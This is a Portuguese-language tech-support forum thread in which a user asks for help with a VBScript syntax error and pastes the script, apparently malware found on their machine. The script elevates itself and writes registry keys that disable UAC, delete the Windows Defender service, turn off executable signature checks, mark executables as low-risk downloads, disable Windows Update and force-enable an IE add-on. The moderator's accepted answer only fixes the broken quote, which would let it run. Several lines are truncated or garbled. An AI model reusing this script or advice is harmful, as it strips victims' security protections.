Usuário com melhor resposta
Problema com Script - Sequencia não finalizada

Pergunta
-
Linha: 12
Caract.: 17
Erro: Constante de sequencia não finalizada
Código:800A409
Origem: Erro de complicação do Microsoft VBScriptSISTEMA OPERACIONAL: w7 HOME BASIC
me ajudem gente por favor ><
- Editado Fábio JrModerator quarta-feira, 18 de julho de 2012 01:12 Título
Respostas
-
Vi que está faltando um pedaço do script mas não faz mau, o erro como já indicado está na linha 12:
strLogFile = "st
Veja que está faltando fechar as aspas na string, a linha deveria ser assim:
strLogFile = "st"
Fábio de Paula Junior
- Editado Fábio JrModerator quarta-feira, 18 de julho de 2012 01:10
- Sugerido como Resposta Fábio JrModerator quarta-feira, 18 de julho de 2012 19:50
- Marcado como Resposta Fábio JrModerator quinta-feira, 19 de julho de 2012 12:59
Todas as Respostas
-
João,
Como este erro ocorreu? Você estava executando um script, um programa?
Você tem o código do Script? Mande o código.
Fábio de Paula Junior
- Editado Fábio JrModerator terça-feira, 17 de julho de 2012 16:01
-
-
cara o unico script que tenho e esse ;D
On Error Resume Next
Dim objWShell, objLogFile
Dim caraix
Set caraix = WSe
Set objWShell = WSe
getVersionNumber = oge
getOsType = oge
getProductName = oge
strLogFile = "st
If (InStr(getProductName, "7") <> 0) Or (InStr(getProductName, "Vista") <> 0) Then
If WScript.Arguments.length = 0
Set objWShell = C
objWShell.ShellExecute "wscript.exe", Chr(34) & _
WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
else
Set filetxt = c
filetxt.Close
End If
objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"
objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin", 0, "REG_DWORD"
objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop", 0, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\CheckExeSignatures", "no"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\RunInvalidSignatures", "00000001"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments\SaveZoneInformation", "00000001"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations\LowRiskFileTypes", ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;.scr;"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUServer", cstrSUSServerURL, "REG_SZ"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUStatusServer", cstrSUSServerURL, "REG_SZ"
objWShell.Regdelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WinDefend"
'// enter the registry keys specifying the update method and options
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoRebootWithLoggedOnUsers", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\UseWUServer", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\RescheduleWaitTime", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\AUOptions", 5, "REG_DWORD"
'// enter the registry key for specifyig the day and time of day when service checks for updates
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallDay", 7, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallTime", 7, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"
objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, REG_DWORD
objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"
Else
objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin", 0, "REG_DWORD"
objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop", 0, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\CheckExeSignatures", "no"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\RunInvalidSignatures", "00000001"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments\SaveZoneInformation", "00000001"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations\LowRiskFileTypes", ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;.scr;"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, REG_DWORD
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0, REG_DWORD
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUServer", cstrSUSServerURL, "REG_SZ"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUStatusServer", cstrSUSServerURL, "REG_SZ"
objWShell.Regdelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WinDefend"
'// enter the registry keys specifying the update method and options
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoRebootWithLoggedOnUsers", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\UseWUServer", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\RescheduleWaitTime", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate", 1, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\AUOptions", 5, "REG_DWORD"
'// enter the registry key for specifyig the day and time of day when service checks for updates
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallDay", 7, "REG_DWORD"
objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallTime", 7, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"
objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, REG_DWORD
objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"
Set filetxt = cSe
filetxt.Close
End If
WScript.Quit
Set objWShell = NSe
-
Vi que está faltando um pedaço do script mas não faz mau, o erro como já indicado está na linha 12:
strLogFile = "st
Veja que está faltando fechar as aspas na string, a linha deveria ser assim:
strLogFile = "st"
Fábio de Paula Junior
- Editado Fábio JrModerator quarta-feira, 18 de julho de 2012 01:10
- Sugerido como Resposta Fábio JrModerator quarta-feira, 18 de julho de 2012 19:50
- Marcado como Resposta Fábio JrModerator quinta-feira, 19 de julho de 2012 12:59